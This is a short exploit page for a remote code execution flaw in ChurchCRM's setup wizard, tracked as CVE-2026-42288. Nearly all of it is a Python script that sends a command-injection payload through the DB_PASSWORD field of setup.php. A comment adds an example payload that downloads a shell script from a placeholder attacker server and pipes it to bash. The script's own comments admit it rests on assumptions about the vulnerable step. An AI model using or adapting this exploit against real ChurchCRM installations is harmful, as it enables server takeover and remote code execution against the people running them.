CVE-2026-42288 ChurchCRM远程代码执行漏洞

import requests # Target URL of the ChurchCRM setup wizard target_url = "http://target-ip/setup.php" # The vulnerability exists in the DB_PASSWORD parameter during setup. # Since the input is unsanitized, we can inject a payload to achieve RCE. # This example assumes a command injection context or a similar eval-based execution. # Payload example: `; curl http://attacker-server/shell.sh | bash` malicious_payload = "; id;" data = { "DB_HOST": "localhost", "DB_USER": "root", "DB_NAME": "churchcrm", "DB_PASSWORD": malicious_payload, "Step": "3" # Assuming the vulnerable step in the wizard } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for code execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")